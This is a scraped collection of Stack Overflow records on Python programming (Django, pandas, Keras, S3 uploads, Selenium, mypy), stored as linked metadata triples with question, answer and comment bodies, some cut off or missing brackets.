has body: I have a model: @python_2_unicode_compatible class TelegramUser(models.Model): user = models.OneToOneField(settings.AUTH_USER_MODEL, null=True, verbose_name=_('User'), related_name='telegramuser', on_delete=models.CASCADE) token = models.CharField(max_length=255, verbose_name=_('Token')) chat_id = models.CharField(max_length=255, verbose_name=_('Chat id'), null=True, blank=False) And I need to test verbose_name and related_name for each fields of this model. So I'm testing verbose_name def test_user_label(self): field_label = self.telegramuser._meta.get_field('user').verbose_name self.assertEquals(field_label,'User') But if I try testing 'related_name', i got error like this: AttributeError: 'OneToOneField' object has no attribute 'related_name' But this problem is not due to the fact that the field is OneToOne In the docs, I found only how to check the related_model: &gt;&gt;&gt; field = user._meta.get_field('user') &gt;&gt;&gt; print(field.related_model) &lt;class 'django.contrib.auth.models.User'&gt; But I never found a way to test related_name.
has title: How to test related_name in django model?
upvote count: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49532649
accepted answer: http://stackoverflow.com/a/49532649
score: 1
answer count: 1
downvote count: 1

http://stackoverflow.com/comment/86066298
has text: Thanks for the pointers. (Especially the last one was helpful - a lot of the Qt documentation is not very beginner-friendly and it's hard to find these elaborate pieces.) I was indeed hoping that any of Qt's ProxyModels provided flipping columns and rows as an option, without having to subclass, as it seems to me that this is probably a common problem.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49516658
type: AnswerComment

http://stackoverflow.com/comment/86069140
type: Comment
has text: @Chris_Rands: good suggestion, but `else` would be better than `or`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49531530

http://stackoverflow.com/a/49475693
type: Answer
has body: I think need select_dtypes with specify both floats: df.select_dtypes(include=[np.float64, np.float32]) Sample: df = pd.DataFrame({'A':list('abcdef'), 'B':[4,5,4,5,5,4], 'C':[7,8,9,4,2,3], 'D':[1,3,5,7,1,0], 'E':[5,3,6,9,2,4], 'F':list('aaabbb')}) df['B'] = df['B'].astype(np.float64) df['C'] = df['C'].astype(np.float32) df['D'] = df['D'].astype('float') print (df.dtypes) A object B float64 C float32 D float64 E int64 F object dtype: object print (df.select_dtypes(include=[np.float64, np.float32])) B C D 0 4.0 7.0 1.0 1 5.0 8.0 3.0 2 4.0 9.0 5.0 3 5.0 4.0 7.0 4 5.0 2.0 1.0 5 4.0 3.0 0.0 Default floatselect only float64: print (df.select_dtypes(include=['float'])) B D 0 4.0 1.0 1 5.0 3.0 2 4.0 5.0 3 5.0 7.0 4 5.0 1.0 5 4.0 0.0
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49475682

http://stackoverflow.com/a/49560950
has body: Given this dataframe: df = pd.DataFrame({ "Gender": ["Male", "Female", "Female", "Male"], "Age": [28, 40, 23, 35], "Salary": [45000, 70000, 40000, 55000], "Yr_exp": [6, 15, 1, 12] }) df Age Gender Salary Yr_exp 0 28 Male 45000 6 1 40 Female 70000 15 2 23 Female 40000 1 3 35 Male 55000 12 Group by gender and use the mean() function: df.groupby("Gender").mean() Age Salary Yr_exp Gender Female 31.5 55000.0 8.0 Male 31.5 50000.0 9.0 Edit: you may need to change the way you're indexing after groupby(): df['Age', 'Salary'] gives a KeyError, but df'Age', 'Salary' returns the expected: Age Salary 0 28 45000 1 40 70000 2 23 40000 3 35 55000 Try changing df.groupby("Gender", as_index=True)['Age', 'Salary', 'Yr_exp'].mean() to df.groupby("Gender", as_index=True)'Age', 'Salary', 'Yr_exp'.mean()
has comment: http://stackoverflow.com/comment/86131535
accepted answer of: http://stackoverflow.com/q/49560809
type: AcceptedAnswer
downvote count: 0
score: 23
answers question: http://stackoverflow.com/q/49560809
has comment: http://stackoverflow.com/comment/86130564
has comment: http://stackoverflow.com/comment/86129912
type: Answer
has comment: http://stackoverflow.com/comment/86129886
has comment: http://stackoverflow.com/comment/86130783
has comment: http://stackoverflow.com/comment/86130662
upvote count: 23
has comment: http://stackoverflow.com/comment/86131418
has comment: http://stackoverflow.com/comment/86130034

http://stackoverflow.com/q/49454412
has comment: http://stackoverflow.com/comment/85920409
accepted answer: http://stackoverflow.com/a/49459064
possible better answer: http://stackoverflow.com/a/49454659
has answer: http://stackoverflow.com/a/49459064
tagged with: python
tagged with: aws-api-gateway
tagged with: lambda
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/28871669
score: 0
tagged with: amazon-s3
has answer: http://stackoverflow.com/a/49454659
has body: Following instructions on this link using Lambda and API Gateway: https://sookocheff.com/post/api/uploading-large-payloads-through-api-gateway/ I have a setup that allows me to get a pre-signed URL and upload files. I've tested using CURL and it has worked. But when I try to send raw string (csv format or json format) it fails! Example of what works curl --request PUT --upload-file Testing.csv "**pre signed upload url**" Example of what doesn't work curl --request PUT -H "Content-Type: text/plain" --data "this is raw data" "**pre signed upload url**" curl --request PUT --data "this is raw data" "**pre signed upload url**" Am I making the call incorrectly? Should I be switching to POST and what would the call look like then?
tagged with: curl
type: Question
has title: Can't upload raw string (csv or json) using S3 pre-signed url
answer count: 2

http://stackoverflow.com/comment/86141165
has text: Thank you is much! Now is it possible to get the result from the user as well as delete the entry?
score: 0
comment on: http://stackoverflow.com/a/49545342
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49451222
has comment: http://stackoverflow.com/comment/85909460
accepted answer of: http://stackoverflow.com/q/49451000
has body: You can use the "in" operator to check if the desired field was selected by the user. Then, in order to apply the logic to both chosen values, simply add "and". Here's the code, corrected and tested: import easygui fieldnames = ["Incorrect", "Correct", "Also Correct"] choice = easygui.multchoicebox("Pick an option.", "", fieldnames) if fieldnames[1] in choice and fieldnames[2] in choice: easygui.msgbox('Correct!') else: easygui.msgbox('Incorrect')
answers question: http://stackoverflow.com/q/49451000
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/85979980
comment on: http://stackoverflow.com/q/49488596
has text: Try also printing `dir_to_check` next to `num_subdirs` to see which one has one subdir less.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49502799
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/86009762
type: Question
has answer: http://stackoverflow.com/a/49503048
tagged with: tuples
has body: I have the following data frame df: id stage days -------------------- a1 A 1 a2 A 3 a3 A 2 a4 A 5 a1 B 1 a2 B 2 a1 C 2 a3 D 3 I applied a lambda function on a Pandas GroupBy object. I created a list by aggregating the stage column for each id. The code works fine. df1 = df.groupby('id').apply(lambda x: list(x['stage'])).reset_index() df1 The output looks like: a1 [A, B, C] a2 [A, B] a3 [A, D] a4 [A] Now I want to create a list of tuple for each id group. The touple is (stage, days). I modified the above code like below: df2 = df.groupby('id').apply(lambda x:list((x['stage'],x['days']))).reset_index() df2 I want the df2 to be like: a1 [(A, 1), (B, 1), (C, 2)] a2 [(A, 3), (B, 2)] a3 [(A, 2), (D, 3)] a4 [(A, 5)] However, this output gives me only first (stage, days) of each id, and it doesn't look like a tuple: a1 [[A], [1]] a2 [[A], [3]] a3 [[A], [2]] a4 [[A], [5]] Did I miss anything here? Thanks!
accepted answer: http://stackoverflow.com/a/49502930
tagged with: python
tagged with: lambda
possible better answer: http://stackoverflow.com/a/49503048
has answer: http://stackoverflow.com/a/49502930
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86009702
score: 0
has title: pandas: apply : using lambda to create a list of tuple

http://stackoverflow.com/comment/86137081
has text: Edit your question and show us what you want the output to look like for a sample heap that contains 7 nodes. I don't understand what you mean by "print just 1 node and not 2."
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49558127

http://stackoverflow.com/a/49538633
has comment: http://stackoverflow.com/comment/86090633
has comment: http://stackoverflow.com/comment/86104397
upvote count: 1
has body: Sharding collection means that collection is at all shards and chunks where documents are distributed evenly to all shards. So, if we have the one collection where we have 10.000 documents at 100 chunks, those chunks are distributed evenly. With two shards, both shards have 50 chunks and one chunk have "about" 100 documents. Chunk is a range of documents wich sharding key value is at certain limits. So, if our sharding key type is integer, limits of one chunk could be lower:50, upper:75 and all those documents where that key is between those values (excluding upper limit) are stored at that specific chunk. In this your case, collection has been created to "primary" shard and because every collection have only one chunk, all collections are at same shard and those cannot be moved (by auto balancer) With command sh.status() you get sharding information.
type: Answer
accepted answer of: http://stackoverflow.com/q/49536461
answers question: http://stackoverflow.com/q/49536461
downvote count: 0
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/49544057
upvote count: 0
has title: An SVM that has the capabilities to perform "online learning" and give probability to a prediction using hinge loss
has answer: http://stackoverflow.com/a/49546313
answer count: 1
downvote count: 1
tagged with: scikit-learn
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: machine-learning
tagged with: python
score: -1
tagged with: svm
has body: There is a bit of a dilemma with sklearn. Using SVC I can use the method predict_proba to calculate how likely a prediction is. Using SGDClassifier I can perform "online/incremental" learning using the method partial_fit method but predict_proba doesn't work with the 'hinge' loss. Is there anyway to have both?

http://stackoverflow.com/a/49572364
answers question: http://stackoverflow.com/q/49571907
has comment: http://stackoverflow.com/comment/86153803
type: Answer
has comment: http://stackoverflow.com/comment/86157665
score: 0
has body: This can be used to find if all elemsnts of sublist are contained in mainlist. def letterSearch(subList, mainList): for i in subList: found = False for j in mainList: if j == i: found = True if not found: return False return True

timer
tag name: timer
tags question: http://stackoverflow.com/q/49500326
tags question: http://stackoverflow.com/q/49559348
type: Tag

http://stackoverflow.com/a/49590978
type: Answer
answers question: http://stackoverflow.com/q/49590863
downvote count: 0
upvote count: 1
has body: The first solution is already almost what you want. You just have to make sure that you don’t always take the last element from the list (-1) but the last item from the current iteration: &gt;&gt;&gt; for i in range(len(list)): print('My Cats are:',', '.join(list[:i]), 'and', list[i]) My Cats are: and Bella My Cats are: Bella and Tigger My Cats are: Bella, Tigger and Chloe My Cats are: Bella, Tigger, Chloe and Shadow And then you just need to special-case the first iteration when there is only a single item: &gt;&gt;&gt; for i in range(len(list)): if i == 0: cats = list[0] else: cats = ', '.join(list[:i]) + ' and ' + list[i] print('My Cats are:', cats) My Cats are: Bella My Cats are: Bella and Tigger My Cats are: Bella, Tigger and Chloe My Cats are: Bella, Tigger, Chloe and Shadow
has comment: http://stackoverflow.com/comment/86190233
score: 1

http://stackoverflow.com/comment/86124412
type: Comment
comment on: http://stackoverflow.com/q/49557919
score: 2
has text: Why on earth are you calling a scripting language from another scripting language? why not implement what `awk` is doing in python?
type: QuestionComment

http://stackoverflow.com/comment/86033815
type: Comment
score: 0
has text: Thanks, that's where I copied the Nonscientific custom class from. I guess a simpler question is how do I get that class work? Defining it in myplot is not working.
type: QuestionComment
comment on: http://stackoverflow.com/q/49504066

http://stackoverflow.com/q/49594623
accepted answer: http://stackoverflow.com/a/49594673
tagged with: arrays
score: -3
tagged with: python
has body: I would like to know how to transfer a number. For example: [1,0,2,3,4] Remove the one and transfer the one to two's position Result: [0,0,1,3,4]
has comment: http://stackoverflow.com/comment/86196774
has title: How to Transfer a number in an array from one position to another
possible better answer: http://stackoverflow.com/a/49594885
type: AnsweredQuestion
upvote count: 0
tagged with: list
answer count: 2
downvote count: 3
has answer: http://stackoverflow.com/a/49594885
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86197215
has answer: http://stackoverflow.com/a/49594673

http://stackoverflow.com/q/49501956
tagged with: python
has answer: http://stackoverflow.com/a/49502128
score: -1
has body: So I have been trying to create a selenium script that helps me Log in with facebook for spotify online. The page looks as follows. The login link is within 2 divs. I have tried to fetch these by class names or the text in them which says "Log in with Facebook" But it does not help and gives me an error saying Message: no such element: Unable to locate element: {"method":"link text","selector":"Log in with Facebook"} How do I select the login with facebook button and click on it?
has title: Login With Facebook Selenium script python
upvote count: 0
answer count: 1
tagged with: selenium
downvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/a/49567571
type: Answer
answers question: http://stackoverflow.com/q/49565638
accepted answer of: http://stackoverflow.com/q/49565638
has comment: http://stackoverflow.com/comment/86160294
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86147001
has comment: http://stackoverflow.com/comment/86160903
has body: If your decoder is trying to reconstruct the input, then it doesn't really make sense to me to attach your classifier to its output. I mean, why not just attach it to the input in the first time? So if you are set on using an auto-encoder, I'd say it's pretty clear that you should attach your classifier to the output of the encoder pipe. I'm not quite sure what you mean with "use the weights of the autoencoder and feed them into the mlp". You don't feed a layer with another layer's weights, but with it's output signal. This is pretty easy to do on Keras. Let's say you defined your auto-encoder and trained it as such: from keras Input, Model from keras import backend as K from keras.layers import Dense x = Input(shape=[8]) y = Dense(5, activation='sigmoid' name='encoder')(x) y = Dense(8, name='decoder')(y) ae = Model(inputs=x, outputs=y) ae.compile(loss='mse', ...) ae.fit(x_train, x_train, ...) K.models.save_model(ae, './autoencoder.h5') Then you can attach a classifying layer at the encoder and create a classifier model with the following code: # load the model from the disk if you # are in a different execution. ae = K.models.load_model('./autoencoder.h5') y = ae.get_layer('encoder').output y = Dense(1, activation='sigmoid', name='predictions')(y) classifier = Model(inputs=ae.inputs, outputs=y) classifier.compile(loss='binary_crossentropy', ...) classifier.fit(x_train, y_train, ...) That's it, really. The classifier model will now have the first embedding layer encoder of the ae model as its first layer, followed by a sigmoid decision layer predictions. If what you are really trying to do is to use the weights learned by the auto-encoder to initialize the weights from the classifier (I'm not positive I recommend this approach): You can take the weight matrices with layer#get_weights, prune it (because the encoder has 5 units and the classifier only has 1) and finally set the classifier weights. Something in the following lines: w, b = ae.get_layer('encoder').get_we…
score: 0

http://stackoverflow.com/a/49547002
score: 3
accepted answer of: http://stackoverflow.com/q/49546950
type: Answer
upvote count: 3
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49546950
has body: Python 2 raw unicode strings have a bizarre quirk where they still process \u and \U sequences: When an 'r' or 'R' prefix is used in conjunction with a 'u' or 'U' prefix, then the \uXXXX and \UXXXXXXXX escape sequences are processed while all other backslashes are left in the string. The docs describe the behavior of combining the r and u prefixes, but I believe this also applies to combining the r prefix and unicode_literals.

http://stackoverflow.com/q/49590892
linked to: http://stackoverflow.com/q/49656991
type: AnsweredQuestion
score: 0
has title: Replacing strings in a a column of similar categories, map to new column in python
accepted answer: http://stackoverflow.com/a/49591269
answer count: 1
tagged with: statistics
has body: I have an existing dataframe (coffee_directions_df) that looks like the following coffee_directions_df Utterance Frequency Directions to Starbucks 1045 Directions to Tullys 1034 Give me directions to Tullys 986 Directions to Seattles Best 875 Show me directions to Dunkin 812 Directions to Daily Dozen 789 Show me directions to Starbucks 754 Give me directions to Dunkin 612 Navigate me to Seattles Best 498 Display navigation to Starbucks 376 Direct me to Starbucks 201 The DF shows utterances made by people and the frequency of utterances. I.e., "Directions to Starbucks" was uttered 1045 times. I am trying to figure out how to replace similar words, such as "Starbucks", "Tullys", "Seattles Best" in the column coffee_directions_df.Utterance to one string, such as "Coffee". I've seen similar answers that suggest a dictionary, such as the following, but I haven't had success yet. {'Utterance':['Starbucks','Tullys','Seattles Best'], 'Combi_Utterance':['Coffee','Coffee','Coffee','Coffee']} {'Utterance':['Dunkin','Daily Dozen'], 'Combi_Utterance':['Donut','Donut']} {'Utterance':['Give me','Show me','Navigate me','Direct me'], 'Combi_Utterance':['V_me','V_me','V_me','V_me']} The desired output is as the following: coffee_directions_df Utterance Frequency Combi_Utterance Directions to Starbucks 1045 Directions to Coffee Directions to Tullys 1034 Directions to Coffee Give me directions to Tullys 986 V_me to Coffee Directions to Seattles Best 875 Directions to Coffee Show me directions to Dunkin 812 V_me to Donut Directions to Daily Dozen 789 Directions to Donut Show me directions to Starbucks 754 V_me to Coffee Give me directions to Dunkin 612 V_me to Donut Navigate me to Seattles Best 498 V_me to Coffee Display navigation to Starbucks 376 Display navigation to Coffee Direct me to Starbucks 201 V_me to Coffee Ultimately, I want to be able to use this code that I have to produce the final output. df = (df.set_index('Frequency')['Utterance'] .str.split(expand=True) .stack() .rese…
has answer: http://stackoverflow.com/a/49591269
type: Question
tagged with: pandas
tagged with: dataframe
tagged with: python
tagged with: apply

http://stackoverflow.com/a/49572616
answers question: http://stackoverflow.com/q/49572015
type: Answer
score: 0
has body: In you project/url.py, make sure you have this : from django.contrib import admin urlpatterns = [ url(r'^admin/', admin.site.urls), ]

http://stackoverflow.com/a/50196434
answers question: http://stackoverflow.com/q/49461887
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/49461887
has body: The image you are passing to function is a null image. To see the type of a null image: rgbImage = cv2.imread("some_non_existing_image.jpg") print ("Image type: ",type(rgbImage)) the result will be: 'Image type: ', type 'NoneType' To resolve the problem test the image type before passaing it to the function something like this where the function is beeing called: if rgbImage is None: # # do not pass it to function, perhaps by pass # print ("Null imagem") pass # Only for example else: colorRatioMean(rgbImage) See: The "'NoneType' object is not subscriptable" is because there is nothing in it
score: 0

http://stackoverflow.com/comment/86067129
score: 0
has text: `form.run` or `form.run()`, typo??
comment on: http://stackoverflow.com/q/49530021
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86193292
score: 0
type: Comment
type: QuestionComment
has text: What you are trying to do is common for newer programmers. But it is almost always a bad idea. The duplicate link contains links to other duplicates. Lots available to read.
comment on: http://stackoverflow.com/q/49592796

http://stackoverflow.com/q/49456785
tagged with: lambda
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49456842
has title: Pandas conditional parsing of a column
score: 0
tagged with: pandas
answer count: 1
has body: I have a dataframe that looks like this: CCDS Size gene exonCount 10804 NM_001320648_exon_4_0_chr21_44515804_r 50 U2AF1L5 8 9385 NM_018964_intron_9_0_chr21_43967251_f 6921 SLC37A1 21 1253 NM_004540_intron_4_0_chr21_22664562_f 32141 NCAM2 18 5233 NM_203417_intron_1_0_chr21_35893957_r 1878 RCAN1 4 3242 NM_001353691_intron_0_0_chr21_32493156_r 3684 TIAM1 30 I'd like to parse the CCDS column and introduce a new column called farme in a way that: 1) if the final field of the CCDS column (after parsing based on "_") is f, then the frame value is df['CCDS'].str.split('_').str[3]+1; &amp; 2) if the final field of the CCDS column is r, then the frame value would be equal to absolute value of |exonCount-df['CCDS'].str.split('_').str[3]| I have tried to devise a lambda function, but I am not sure how I can elaborate the else condition: df['frame'] = df.Set.map( lambda x: df['CCDS'].str.split('_').str[3]+1 if intronExon_LDU['CCDS'].str.split('_').str[7] == 'f' else ????)
tagged with: parsing
type: Question
accepted answer: http://stackoverflow.com/a/49456842
tagged with: python

http://stackoverflow.com/q/49523166
tagged with: python
has body: I am working in Python with SQLAlchemy to execute Redshift SQL queries. I am defining the SQL I want to execute as python strings I want to create some additional python string variables that will become a section of the SQL strings. For instance, in the below example, the table name in the SQL query can be built from the python variable "table_string" plus the rest of the table name itself. In this example the resulting table name would be "test_table_name". table_string = 'test_' create_test_sql_string_python=''' begin; create table 'table_string'+'table_name' (id int not null, name varchar(40), date timestamp); end; ''' execute(sa.text(create_test_sql_string_python).execution_options(autocommit=True)) I have done something similar in R and am wondering what the python equivalent of this may be. Here is the R sample: table_string &lt;- 'test_' dbSendQuery(redshift,paste0("begin; create table ",table_string,"table_name (id int not null, name varchar(40), date timestamp); end;"))
tagged with: http://stackoverflow.com/tag/r
has title: How to add a Python string variable to part of a SQL string variable in Python?
type: Question
tagged with: amazon-redshift
score: 0
accepted answer: http://stackoverflow.com/a/49523319
possible better answer: http://stackoverflow.com/a/49523332
tagged with: sqlalchemy
has answer: http://stackoverflow.com/a/49523319
has answer: http://stackoverflow.com/a/49523332
tagged with: pycharm
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/q/49460574
accepted answer: http://stackoverflow.com/a/49460625
tagged with: http://stackoverflow.com/tag/csv
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49460625
possible better answer: http://stackoverflow.com/a/49460736
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/49460736
favorite count: 0
has body: Not sure why this is occurring, I have full admin privileges to the csv file as shown below: with open('C:\\Users\\legos\\OneDrive\\Desktop\\firebase.csv', 'rt') as f: reader = csv.reader(f, delimiter=',') i=0 for row in reader: i+=1 j = 0 for row in reader: j+=1 if (j == i): lasturl = str(row) print lasturl
type: Question
answer count: 2
has title: ValueError: I/O operation on closed file: csvreader
upvote count: 1
tagged with: python

http://stackoverflow.com/q/49536260
tagged with: systemml
tagged with: py4j
tagged with: dml
type: Question
has title: convert formula into DML in SystemML (Java)
score: 0
has body: How would you convert this formula. formula = sum(U' (W . (U S))) Legend ' transpose of a matrix * matrix-matrix multiplication . scalar multiplication from python u = np.random.rand(1000,10000) s = np.random.rand(10000,1000) w = np.random.rand(1000,1000) start = time.time() res = np.sum(u.T.dot(w * u.dot(s))) print time.time()-start using DML in SystemML with the following data u = np.random.rand(10000,100000) s = np.random.rand(100000,10000) w = np.random.rand(10000,10000) Syntax t(M) transpose of a matrix, where M is the matrix %*% matrix-matrix multiplication * scalar multiplication Task
type: UnansweredQuestion
tagged with: python
answer count: 1
has answer: http://stackoverflow.com/a/50126443
tagged with: java

http://stackoverflow.com/comment/86151675
score: 0
type: Comment
has text: In fact, now I'm just doing a test to say whether data fits into database, but later, I'll be ingesting data once every 15 minutes
type: QuestionComment
comment on: http://stackoverflow.com/q/49571911

http://stackoverflow.com/a/55928287
has body: If someone is a complete newbie to using Jupyter Notebook, like me, then here's the elaboration to Yasin Yousif and ALollz comments: Open Jupyter Notebook which results in the Juyter Dashboard. Open new terminal from here. This is where the solutions suggested by Yasin Yousif and ALollz need to be implemented:
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49471154

http://stackoverflow.com/q/49496096
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49496234
answer count: 2
has title: Why is not looping?
has comment: http://stackoverflow.com/comment/85996056
downvote count: 2
has comment: http://stackoverflow.com/comment/85996051
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49496234
accepted answer: http://stackoverflow.com/a/49496159
tagged with: python
score: -1
has body: I'm learning python and I'm not sure why the output of the below code is only "False" and not many "false" if I created a loop and the list of dict have 5 elements. I was expect an ouput like "False" "False" "False" "False" "False" movies = [{ "name": "Usual Suspects" }, { "name": "Hitman", }, { "name": "Dark Knight", },{ "name": "The Choice", }, { "name": "Colonia",} ] def peliMayor(p): index= -1 for n in movies: index= index + 1 if (movies[index]['name'] == p): return print("True") else: return print("False") peli = "Thriller" peliMayor(peli)
has answer: http://stackoverflow.com/a/49496159
has comment: http://stackoverflow.com/comment/85996049

http://stackoverflow.com/q/49516225
score: 4
type: AnsweredQuestion
tagged with: schema
tagged with: google-cloud-platform
answer count: 1
downvote count: 0
tagged with: google-bigquery
has body: I have been constantly trying to stream data to BigQuery using python google-cloud package from google.cloud import bigquery. What I have observed is that it is refusing to insert few rows saying that [{u'debugInfo': u'', u'reason': u'invalid', u'message': u'no such field.', u'location': u'user.new_user'}]}] But, I could see that column in the schema table.schema [(u'USER', u'record', u'NULLABLE', None, (SchemaField(u'new_user', u'string', u'NULLABLE', None, ())))] Is this because, i am trying to stream &amp; update at a more rate than mentioned in BigQuery docs ? I tried to run the same thing on terminal and this worked with no errors. This is happening when I try to stream at a more higher rate. For now, I am using as self.bigquery_client.create_rows_json(table, batched_event,retry=bigquery.DEFAULT_RETRY.with_deadline(10),skip_invalid_rows=True, ignore_unknown_values=True)
favorite count: 0
type: Question
upvote count: 4
accepted answer: http://stackoverflow.com/a/49519008
has answer: http://stackoverflow.com/a/49519008
tagged with: streaming
has title: BigQuery refusing to insert few records while streaming
tagged with: python

http://stackoverflow.com/a/49478207
has comment: http://stackoverflow.com/comment/120429294
has comment: http://stackoverflow.com/comment/105934039
has comment: http://stackoverflow.com/comment/105818469
has comment: http://stackoverflow.com/comment/105795918
has comment: http://stackoverflow.com/comment/132123290
has body: If you install the conda build package (and you have a package, not just a script), you can install in "editable" mode: conda develop . (running from the directory with your script). This is very similar to the "editable" mode from pip pip install -e . Either approach lets you uninstall packages with either conda develop -u . or pip uninstall . If you just have a script (not a package), you can edit or set the PYTHONPATH environment variable to include the directory with the script. Note that conda develop is part of the conda-build package, which you can install with: conda install conda-build
answers question: http://stackoverflow.com/q/49474575
type: Answer
upvote count: 62
has comment: http://stackoverflow.com/comment/108792498
downvote count: 1
has comment: http://stackoverflow.com/comment/125439367
has comment: http://stackoverflow.com/comment/126007058
score: 61
has comment: http://stackoverflow.com/comment/113772320
has comment: http://stackoverflow.com/comment/105949416
has comment: http://stackoverflow.com/comment/123627965

http://stackoverflow.com/comment/86048759
comment on: http://stackoverflow.com/a/49520800
type: AnswerComment
has text: Worked perfectly, much appreciated!
score: 0
type: Comment

http://stackoverflow.com/a/49490005
type: Answer
answers question: http://stackoverflow.com/q/49488442
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49488442
has body: I'm assuming you're using pytest-dependency - otherwise, @pytest.mark.dependency(...) doesn't do anything. You need to mark all tests in the dependency graph with @pytest.mark.dependency(...). Including the ones that don't have any dependencies - in that case, don't pass any arguments to dependency(). Also, since the first test is also in the class, you have to add the class' name to the depends argument: depends=["test_id::test_01_id"]. Another issue is that pytest creates a new instance of the class for each test method - you have to use test_id.IDlist instead of self.IDlist to overcome that. As a side note - if you have some initialization code that has to be run before some tests, it's better to use pytest fixtures. In this case, it would be something like this: @pytest.fixture def id_list(): df = self.sqlObj.executequerytodataframe(self.query) myid = df["id"] return self.myid.values.tolist() def test_GetID(id_list): ...

http://stackoverflow.com/q/49551704
has body: I'm new to python and selenium and wondering how I could take a group of text from a web page and input it into an array. Currently, what I have now is a method that, instead of using an array, uses a string and un-neatly displays it. # returns a list of names in the order it is displayed def gather_names(self): fullListNames = "" hover_names = self.browser.find_elements_by_xpath("//div[contains(@class, 'recent-names')]") #xpath to the names that will need to be hovered over for names in hover_names: self.hover_over(names) #hover_over is a method which takes an xpath and will then hover over each of those elements self.wait_for_element("//div[contains(@class, 'recent-names-info')]", 'names were not found') #Checking to see if it is displayed on the page; otherwise, a 'not found' command will print to console time.sleep(3) #giving it time to find each element, otherwise it will go too fast and skip over one listName = names.find_element_by_xpath("//div[contains(@class, 'recent-names-info')]").text #converts to text fullListNames += listName #currently adding every element to a string return fullListNames The output of this looks like name_on_page1name_on_page2name_on_page3 without any spaces in between the names (which I would like to change if I cannot find a way to incorporate this into an array). When I did try making fullListNames an array, I had issues with it grabbing each character of the string and the output looking something like [u'n', u'a', u'm', u'e', u'_', u'o', u'n'].... Preferably, I need a format of [name1, name2, name3] Can anyone point in the right way to handle this?
has title: Converting text to an array using Selenium and Python
tagged with: selenium
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49552035
tagged with: arrays
tagged with: python
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49551821

http://stackoverflow.com/comment/86169572
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49580521
has text: None of these works with error: unable to locate element.

http://stackoverflow.com/q/49499319
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/51200748
has title: How can I type a function argument as native function
has body: I have a helper function to use in python repl to move variables to global for easy debugging. But there is a mypy error: class stepin(object): # pylint: disable=R0903 def __init__(self, func: Callable) -> None: self.func = func self.args = func.__code__.co_varnames if hasattr(func, "__defaults__") and func.__defaults__: self.defaults = dict(zip(reversed(self.args), reversed(func.__defaults__))) else: self.defaults = None def __call__(self, *args, **kwargs): result_dict = {x: None for x in self.args} if self.defaults: result_dict.update(self.defaults) result_dict.update(dict(zip(self.args, args))) result_dict.update(kwargs) for x in result_dict.keys(): if result_dict[x] is None: raise ValueError('Missing args: ', self.func.__qualname__, x) globals().update(result_dict) Now, the line if hasattr(func, "__defaults__") and func.__defaults__: self.defaults = dict(zip(reversed(self.args), reversed(func.__defaults__))) raises a mypy error that says func has no __defaults__ Now I understand that the BDFL has said he despises the "hasattr" check so it's probably not gonna be solved inside mypy; then my question is, is there a way to change the __init__ typing signature to get rid of the error? What have I tried: Callable doesn't work, understandable: not all Callables have __defaults__. But where is the type "function"? If I type() a function it says "function" but "function" is not in preamble or "typing". I see that some people mention "FunctionType" but it's not in "typing" either.
tagged with: python-typing
type: Question
tagged with: mypy
accepted answer: http://stackoverflow.com/a/51200748
answer count: 1

http://stackoverflow.com/comment/85999786
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49495399
has text: Experiment with an expression like `u[1:,:]+u[:-1,:]+u[:,1:]+u[:,:-1]` instead of the `i,j` iteration.

http://stackoverflow.com/comment/85899881
has text: Geo: Lines like `e6 = Entry(root, textvariable=group).grid(row=3, column=1)`. After execution, `e6` will be set to `None`. Regardless, I suggest you add a `print(group.get(), fname.get())` to the beginning of the `add()` function and make sure the values are correct.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49447885

http://stackoverflow.com/comment/86128932
has text: just to confirm, when you watch the test run, you actually see the browser scroll the window so that the target button is visible?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49559560

http://stackoverflow.com/comment/86026340
type: QuestionComment
comment on: http://stackoverflow.com/q/49510343
has text: I done that before and run this command again but same error show @GrahamDumpleton
type: Comment
score: 0

http://stackoverflow.com/a/49516436
upvote count: 2
score: 2
downvote count: 0
has body: No, it doesn't matter. The only issue would be going from 3.x to 2.x, as noted in pickle.py. The latest pickle can read all file formats that were written in one of the listed versions (note that 1.0 was the original pickle implementation): 1.0 1.1 1.2 1.3 2.0 3.0 4.0 Changing between python implementations such as IronPython or Jython shouldn't matter as long as they properly implement standard library modules which almost all do.
answers question: http://stackoverflow.com/q/49516240
type: Answer

http://stackoverflow.com/q/49554139
tagged with: pandas
accepted answer: http://stackoverflow.com/a/49554843
has title: Boxplot of Multiple Columns of a Pandas Dataframe on the Same Figure (seaborn)
score: 70
